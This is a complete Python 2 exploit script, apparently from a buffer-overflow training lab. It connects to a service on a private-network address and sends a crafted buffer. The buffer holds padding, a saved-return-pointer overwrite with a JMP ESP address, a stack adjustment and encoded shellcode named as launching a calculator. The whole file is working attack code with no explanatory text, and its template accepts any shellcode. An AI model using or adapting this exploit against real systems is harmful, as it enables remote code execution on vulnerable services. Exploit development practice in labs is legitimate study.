#!/usr/bin/env python2
import socket
import struct

# set up the IP and port we're connecting to
RHOST = "192.168.80.134"
RPORT = 31337

# create a TCP connection (socket)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

# build a happy little message followed by a newline
buffer_length=1024
srp_offset=146

ptr_jmp_esp = 0x80414c3

sub_esp_10 = "\x83\xec\x10"

shellcode_calc =  ""
shellcode_calc += "\xb8\xbf\x88\xe5\x88\xdb\xcd\xd9\x74\x24"
shellcode_calc += "\xf4\x5e\x31\xc9\xb1\x31\x83\xc6\x04\x31"
shellcode_calc += "\x46\x0f\x03\x46\xb0\x6a\x10\x74\x26\xe8"
shellcode_calc += "\xdb\x85\xb6\x8d\x52\x60\x87\x8d\x01\xe0"
shellcode_calc += "\xb7\x3d\x41\xa4\x3b\xb5\x07\x5d\xc8\xbb"
shellcode_calc += "\x8f\x52\x79\x71\xf6\x5d\x7a\x2a\xca\xfc"
shellcode_calc += "\xf8\x31\x1f\xdf\xc1\xf9\x52\x1e\x06\xe7"
shellcode_calc += "\x9f\x72\xdf\x63\x0d\x63\x54\x39\x8e\x08"
shellcode_calc += "\x26\xaf\x96\xed\xfe\xce\xb7\xa3\x75\x89"
shellcode_calc += "\x17\x45\x5a\xa1\x11\x5d\xbf\x8c\xe8\xd6"
shellcode_calc += "\x0b\x7a\xeb\x3e\x42\x83\x40\x7f\x6b\x76"
shellcode_calc += "\x98\x47\x4b\x69\xef\xb1\xa8\x14\xe8\x05"
shellcode_calc += "\xd3\xc2\x7d\x9e\x73\x80\x26\x7a\x82\x45"
shellcode_calc += "\xb0\x09\x88\x22\xb6\x56\x8c\xb5\x1b\xed"
shellcode_calc += "\xa8\x3e\x9a\x22\x39\x04\xb9\xe6\x62\xde"
shellcode_calc += "\xa0\xbf\xce\xb1\xdd\xa0\xb1\x6e\x78\xaa"
shellcode_calc += "\x5f\x7a\xf1\xf1\x35\x7d\x87\x8f\x7b\x7d"
shellcode_calc += "\x97\x8f\x2b\x16\xa6\x04\xa4\x61\x37\xcf"
shellcode_calc += "\x81\x8e\xd5\xda\xff\x26\x40\x8f\x42\x2b"
shellcode_calc += "\x73\x65\x80\x52\xf0\x8c\x78\xa1\xe8\xe4"
shellcode_calc += "\x7d\xed\xae\x15\x0f\x7e\x5b\x1a\xbc\x7f"
shellcode_calc += "\x4e\x79\x23\xec\x12\x50\xc6\x94\xb1\xac"

buf = ""
buf += "A"*(srp_offset - len(buf))	# padding
buf += struct.pack("<I", ptr_jmp_esp)	# SRP overwrite
buf += sub_esp_10			# ESP should end up pointing here
buf += shellcode_calc			# ESP should end up pointing here
buf += "D"*(buffer_length - len(buf))	# Training padding
buf += "\n"

# send the happy little message down the socket
s.send(buf)

# print out what we sent
print("Sent: {0}".format(buf))

# receive some data from the socket
data = s.recv(1024)

# print out what we received
print("Received: {0}".format(data))
